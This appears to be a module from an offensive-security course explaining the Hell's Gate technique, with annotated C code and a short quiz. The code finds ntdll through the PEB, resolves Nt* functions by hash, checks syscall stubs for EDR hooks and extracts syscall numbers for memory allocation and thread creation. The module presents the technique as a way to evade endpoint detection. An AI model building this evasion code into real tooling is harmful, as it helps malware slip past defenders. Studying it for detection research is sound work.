Difficulty: Intermediate

Module 5: The Hell's Gate Algorithm

Walk the gates, read the stubs, resolve the numbers.

The Core of Hell's Gate

This is the heart of the technique. The Hell's Gate algorithm walks the ntdll.dll Export Address Table, locates target Nt* functions by hash, reads the syscall stub bytes to extract the SSN, and populates a table of resolved syscall entries. This module walks through the complete algorithm step by step, using the actual code patterns from the original Hell's Gate implementation.

Algorithm Overview

The Hell's Gate resolution process has four phases:

Hell's Gate Resolution Flow

Phase 1: Find ntdll.dll base via PEB walking
Phase 2: Parse EAT to get function addresses by hash
Phase 3: Validate stub bytes and extract SSN
Phase 4: Store SSN in VX_TABLE_ENTRY for later syscall execution

Phase 1: Locating ntdll.dll

The first step is finding the base address of ntdll.dll without calling any API (since the APIs we need might be hooked). Hell's Gate uses PEB walking:

C// From HellsGate main.c
PTEB pCurrentTeb = RtlGetCurrentTeb();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;

// Walk InMemoryOrderModuleList
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)(
    (PBYTE)pCurrentPeb->Ldr->InMemoryOrderModuleList.Flink->Flink
    - 0x10  // subtract offset of InMemoryOrderLinks within LDR_DATA_TABLE_ENTRY
);

// pLdrDataEntry->DllBase is now the base address of ntdll.dll
PVOID pNtdllBase = pLdrDataEntry->DllBase;

Phase 2: Parsing the Export Address Table

With the ntdll base address, Hell's Gate parses the PE headers to reach the Export Directory, then iterates through exported function names:

C// Parse PE headers to reach the Export Directory
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pNtdllBase;
PIMAGE_NT_HEADERS pNt  = (PIMAGE_NT_HEADERS)((PBYTE)pNtdllBase + pDos->e_lfanew);

PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(
    (PBYTE)pNtdllBase +
    pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
);

// The three parallel arrays in the Export Directory:
PDWORD pdwAddrOfFunctions    = (PDWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfFunctions);
PDWORD pdwAddrOfNames        = (PDWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfNames);
PWORD  pwAddrOfNameOrdinals  = (PWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfNameOrdinals);

// Walk all named exports
for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
    // Get the function name
    PCHAR pFuncName = (PCHAR)((PBYTE)pNtdllBase + pdwAddrOfNames[i]);

    // Compute DJB2 hash
    DWORD64 dwFuncHash = djb2((PBYTE)pFuncName);

    // Compare against our target hashes
    // If match found: resolve address using ordinal table
    PVOID pFuncAddr = (PVOID)((PBYTE)pNtdllBase +
                      pdwAddrOfFunctions[pwAddrOfNameOrdinals[i]]);
    // ... populate VX_TABLE_ENTRY
}

Understanding the Three Parallel Arrays

The Export Directory contains three related arrays. AddressOfNames holds RVAs to function name strings. AddressOfNameOrdinals holds the ordinal index for each name. AddressOfFunctions holds the function RVAs indexed by ordinal. To resolve a name to an address: find the name in AddressOfNames (index i), read the ordinal from AddressOfNameOrdinals[i], then read the function RVA from AddressOfFunctions[ordinal].

Phase 3: The GetVxTableEntry Function

This is the critical function that validates a stub and extracts the SSN. Here is the logic from the original Hell's Gate code, annotated:

C// Hell's Gate - GetVxTableEntry
// Returns TRUE if the stub is clean and SSN was extracted
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pExportDir,
                     PVX_TABLE_ENTRY pVxTableEntry) {

    PDWORD pdwAddrOfFunctions    = /* ... resolved from pExportDir ... */;
    PDWORD pdwAddrOfNames        = /* ... */;
    PWORD  pwAddrOfNameOrdinals  = /* ... */;

    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
        PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddrOfNames[i]);

        // Compare hash of exported name against target hash
        if (djb2((PBYTE)pczFunctionName) == pVxTableEntry->dwHash) {

            // Found the target function - get its address
            PVOID pFunctionAddress = (PVOID)((PBYTE)pModuleBase +
                pdwAddrOfFunctions[pwAddrOfNameOrdinals[i]]);
            pVxTableEntry->pAddress = pFunctionAddress;

            // --- STUB VALIDATION ---
            // Check if the stub is clean (not hooked)
            // Expected: 4c 8b d1 b8 XX XX 00 00

            BYTE* stub = (BYTE*)pFunctionAddress;

            // Check for: mov r10, rcx (4c 8b d1)
            //            mov eax, SSN (b8 XX XX 00 00)
            if (stub[0] == 0x4c
             && stub[1] == 0x8b
             && stub[2] == 0xd1
             && stub[3] == 0xb8
             && stub[6] == 0x00    // High bytes of SSN must be zero
             && stub[7] == 0x00) { // (SSNs are always < 0x200, so upper bytes are 0)

                // Clean stub! Extract SSN from bytes 4-5
                BYTE high = stub[5];
                BYTE low  = stub[4];
                pVxTableEntry->wSystemCall = (high << 8) | low;
                return TRUE;  // SSN successfully resolved
            }

            // If we get here, the stub is hooked (first bytes modified)
            return FALSE;
        }
    }
    return FALSE;  // Function not found in exports
}

Original Hell's Gate Limitation

The original Hell's Gate implementation returns FALSE if the stub is hooked. It does not attempt to recover the SSN from a hooked stub. This means if an EDR hooks the specific function you need, Hell's Gate fails. This limitation is what motivated the development of Halo's Gate and TartarusGate (Module 7), which add neighbor-based SSN recovery.

Phase 4: Populating the VX_TABLE

The main function calls GetVxTableEntry for each target syscall and assembles the complete table:

C// From main.c - populating the syscall table
VX_TABLE Table = { 0 };

// Set the target hashes (pre-computed DJB2 values)
Table.NtAllocateVirtualMemory.dwHash = 0xF5BD373480A6B89B;
Table.NtProtectVirtualMemory.dwHash  = 0x858BCB1046FB6A37;
Table.NtCreateThreadEx.dwHash        = 0x64DC7DB288C5015F;
Table.NtWaitForSingleObject.dwHash   = 0xC6A2FA174E551BCB;

// Resolve each entry
if (!GetVxTableEntry(pNtdllBase, pExportDir, &Table.NtAllocateVirtualMemory)) {
    // Handle error: stub is hooked or function not found
    return -1;
}
if (!GetVxTableEntry(pNtdllBase, pExportDir, &Table.NtProtectVirtualMemory)) {
    return -1;
}
if (!GetVxTableEntry(pNtdllBase, pExportDir, &Table.NtCreateThreadEx)) {
    return -1;
}
if (!GetVxTableEntry(pNtdllBase, pExportDir, &Table.NtWaitForSingleObject)) {
    return -1;
}

// At this point, Table contains:
// - pAddress:     pointer to each Nt* function in ntdll
// - wSystemCall:  the SSN for each function
// - dwHash:       the hash (already set)
// Ready for direct syscall execution (Module 6)

Complete Algorithm Diagram

Hell's Gate Full Resolution Flow

PEB Walk
Find ntdll base
Parse EAT
Walk exports
Hash Match
DJB2 compare
Validate Stub
4c 8b d1 b8?
Extract SSN
bytes [4:5]

Why This Is Powerful

The entire resolution happens in user-mode memory with no API calls, no file I/O, and no suspicious behavior. Hell's Gate simply reads data structures (PEB, PE headers, EAT) that are already mapped into the process. The only "output" is a small table of integers (the SSNs). No ntdll code is modified, no DLLs are loaded, and no functions are called. From the EDR's perspective, the process is just reading its own memory.

Pop Quiz: The Hell's Gate Algorithm

Q1: What byte pattern does Hell's Gate check to confirm a clean (unhooked) syscall stub?

Hell's Gate validates bytes 0-3 as 0x4c, 0x8b, 0xd1, 0xb8. This is the start of a clean stub: mov r10, rcx followed by mov eax. If these bytes are different (e.g., an E9 JMP from an EDR hook), the stub is marked as hooked.

Q2: What happens in the original Hell's Gate implementation if the target stub IS hooked?

The original Hell's Gate returns FALSE if the stub pattern does not match. It does not attempt recovery. Neighbor-based recovery was added later by Halo's Gate and TartarusGate.

Q3: In the EAT resolution process, what is the purpose of the AddressOfNameOrdinals array?

AddressOfNames and AddressOfFunctions use different indexing. AddressOfNameOrdinals bridges them: the ordinal at index i in AddressOfNameOrdinals corresponds to the name at index i in AddressOfNames, and that ordinal is used to index into AddressOfFunctions to get the function RVA.